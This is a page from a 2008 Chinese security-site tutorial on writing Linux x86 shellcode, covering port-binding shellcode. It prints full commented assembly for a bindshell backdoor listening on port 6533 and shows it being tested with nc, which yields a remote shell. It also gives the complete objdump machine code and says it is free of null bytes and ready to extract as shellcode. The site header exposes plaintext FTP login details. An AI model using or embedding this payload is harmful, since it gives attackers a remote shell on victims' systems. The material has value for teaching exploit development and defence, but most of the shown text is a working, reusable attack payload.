安全中国首页 > 文章中心 > Linux安全
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

[科普]浅入浅出Liunx Shellcode

更新时间:2008-6-26 0:12:54
责任编辑:池天
热 点:

四:绑定端口的shellcode
    根据上一节所说的,本地打开一个新的shell在面对远程目标时就不是那么有用了,这时我们需要在远程目标上打开一个可交互的shell,这样对我们更有帮助,等于直接获得了一个进入远程系统的后门,这就是端口绑定shellcode。
    写到这里就需要一些网络编程的知识了,这里不再详细讲解如何进行网络编程,只是大概说一下一个bindshell后门程序的编写过程:
    首先要建立一个socket
    server=socket(2,1,0)
    建立一个sockaddr_in结构,包含IP和端口信息
    将端口和IP邦定到socket    
    bind()
    打开端口监听该socket
    listen()
    当有连接时向客户端返回一个句柄
    accept()
    将返回的句柄复制到STDIN,STDOUT,STDERR 
    dup2()
    调用execve执行/bin/sh
    看了这些过程可能有些迷茫,下面我给出一个以前我些的bindshell.c后门程序,可以很清晰的看到一个bindshell是如何实现的:http://www.bugshower.org/xbind.c
    通过对一个端口绑定后门C程序的分析已经了解了整个实现过程,为了更方便的提取shellcode我们需要用汇编来改写这个程序。这里一个新的系统调用将被使用,这就是socketcall系统调用,这个系统调用号是102。先来看一下man里面关于这个系统调用的参数信息:
NAME 
       socketcall - socket system calls 

SYNOPSIS 
       int socketcall(int call, unsigned long *args); 
该系统调用需要两个参数,第一个参数是一个整数值,存放在EBX寄存器中,对于一个bindshell我们只需要用到4个数值,分别是:
SYS_SOCKET        1
SYS_BIND        2
SYS_LISTEN        4
SYS_ACCEPT        5
第二个参数是一个指针,指向一个参数数组,把它存在ECX寄存器中。
现在所有准备工作都已经就绪,开始用汇编编写一个bindshell后门吧~代码和注释如下:
#xuanmumu@gmail.com&process@cnbct.org 
# bindshell.s --bindport on 6533 
.section .text 
.global _start 
_start: 
#清空各寄存器
xor %eax,%eax 
xor %ebx,%ebx 
xor %ecx,%ecx 

#socket(2,1,0)创建一个TCP连接,注意字节序。
push %eax        #压入第3个参数 0
push $0x1         #压入第2个参数 1
push $0x2         #压入第1个参数 2
mov %esp,%ecx     #将ECX里的数组地址作为socketcall系统调用的第2个参数
inc %bl         #bl=0+1,作为socketcall的第一个参数,调用socket函数
movb $0x66,%al     #调用socketcall,0x66=102
int $0x80         #中断
mov %eax,%esi     将返回句柄保存在ESI中

#bind()
push %edx        #EDX压栈作为结束符 
push $0x8519FF02     #0x8519=6533,sin.family=02,FF任意字节填充
mov %esp,%ecx    #将ESP地址赋值给ECX 
push $0x10         #开始bind的参数,0x10压栈
push %ecx         #保存地址
push %esi         #把前面的句柄压栈
mov %esp,%ecx     #继续把数组地址作为socketcall调用的第2个参数
inc %bl         #bl=1+1=2=SYS_BIND
mov $0x66,%al     #调用socketcall
int $0x80         #中断

#listen()
push %edx         #EDX压栈,作为结束符
push %esi         #句柄压栈,作为listen的参数
mov %esp,%ecx     #将数组地址设为socketcall的第2个参数
mov $0x4,%bl     #bl=4=SYS_LISTEN 
mov $0x66,%al     #执行socketcall系统调用
int $0x80         #中断

#accept()
push %edx         #参数0
push %edx         #参数0
push %esi         #句柄压栈
mov %esp,%ecx     #将数组设为系统调用第2个参数
inc %bl         #bl=4+1=SYS_ACCEPT    
mov $0x66,%al     #执行系统调用
int $0x80         #中断

#dup2()
mov %eax,%ebx     #将accept返回的句柄复制到EBX
xor %ecx,%ecx     #清空
mov $0x3f,%al     #dup2系统调用,0x3f=63
int $0x80         #中断
inc %ecx         #1
mov $0x3f,%al 
int $0x80 
inc %ecx         #2
mov $0x3f,%al 
int $0x80 

#之前熟悉的execve调用,打开一个新的shell
push %edx 
push $0x68732f2f 
push $0x6e69622f 
mov %esp,%ebx 
push %edx 
push %ebx 
mov %esp ,%ecx 
mov $0xb,%al 
int $0x80 
    呵..现在可以休息一下了,终于完成了这个恶心的程序的编写工作,测试一下是否能正常工作吧~
pr0cess@pr0cess:~$Content$nbsp;as -o bindshell.o bindshell.s 
pr0cess@pr0cess:~$Content$nbsp;ld -o bindshell bindshell.o 
pr0cess@pr0cess:~$Content$nbsp;./bindshell 
再新开一个终端去连接,顺利的话我们应该能在6533端口得到一个shell的~
pr0cess@pr0cess:~$Content$nbsp;netstat -an |grep "6533" 
tcp        0      0 0.0.0.0:6533            0.0.0.0:*               LISTEN     
pr0cess@pr0cess:~$Content$nbsp;nc 192.168.12.211 6533 
uname -a 
Linux pr0cess 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux 
exit 
pr0cess@pr0cess:~$Content$nbsp;
啊哈~美妙的shell出现了,程序顺利的完成它的工作,它可以去死了,我们来提取shellcode吧:
pr0cess@pr0cess:~$Content$nbsp;objdump -d ./bindshell 

./bindshell:     file format elf32-i386 

Disassembly of section .text: 

08048054 <_start>: 
8048054:       31 c0                   xor    %eax,%eax 
8048056:       31 db                   xor    %ebx,%ebx 
8048058:       31 c9                   xor    %ecx,%ecx 
804805a:       50                      push   %eax 
804805b:       6a 01                   push   $0x1 
804805d:       6a 02                   push   $0x2 
804805f:       89 e1                   mov    %esp,%ecx 
8048061:       fe c3                   inc    %bl 
8048063:       b0 66                   mov    $0x66,%al 
8048065:       cd 80                   int    $0x80 
8048067:       89 c6                   mov    %eax,%esi 
8048069:       52                      push   %edx 
804806a:       68 02 ff 19 85          push   $0x8519ff02 
804806f:       89 e1                   mov    %esp,%ecx 
8048071:       6a 10                   push   $0x10 
8048073:       51                      push   %ecx 
8048074:       56                      push   %esi 
8048075:       89 e1                   mov    %esp,%ecx 
8048077:       fe c3                   inc    %bl 
8048079:       b0 66                   mov    $0x66,%al 
804807b:       cd 80                   int    $0x80 
804807d:       52                      push   %edx 
804807e:       56                      push   %esi 
804807f:       89 e1                   mov    %esp,%ecx 
8048081:       b3 04                   mov    $0x4,%bl 
8048083:       b0 66                   mov    $0x66,%al 
8048085:       cd 80                   int    $0x80 
8048087:       52                      push   %edx 
8048088:       52                      push   %edx 
8048089:       56                      push   %esi 
804808a:       89 e1                   mov    %esp,%ecx 
804808c:       fe c3                   inc    %bl 
804808e:       b0 66                   mov    $0x66,%al 
8048090:       cd 80                   int    $0x80 
8048092:       89 c3                   mov    %eax,%ebx 
8048094:       31 c9                   xor    %ecx,%ecx 
8048096:       b0 3f                   mov    $0x3f,%al 
8048098:       cd 80                   int    $0x80 
804809a:       41                      inc    %ecx 
804809b:       b0 3f                   mov    $0x3f,%al 
804809d:       cd 80                   int    $0x80 
804809f:       41                      inc    %ecx 
80480a0:       b0 3f                   mov    $0x3f,%al 
80480a2:       cd 80                   int    $0x80 
80480a4:       52                      push   %edx 
80480a5:       68 2f 2f 73 68          push   $0x68732f2f 
80480aa:       68 2f 62 69 6e          push   $0x6e69622f 
80480af:       89 e3                   mov    %esp,%ebx 
80480b1:       52                      push   %edx 
80480b2:       53                      push   %ebx 
80480b3:       89 e1                   mov    %esp,%ecx 
80480b5:       b0 0b                   mov    $0xb,%al 
80480b7:       cd 80                   int    $0x80 
pr0cess@pr0cess:~$Content$nbsp;
检查了一下,机器码中没有出现00,可以放心的提取作为shellcode使用。具体的提取过程之前已经介绍过,也给出了相应的C程序模板,这里就不再重复工作了。

五:总结
    本文没有什么高深的技术,没有华丽的技巧,浅入浅出的介绍了基本的linuxshellcode的编写过程,顺利完成了科普的目的。
    Have a fun~ 

上一页 1 2 

 
相关文章
一日一文章
 
一日一软件
一日一动画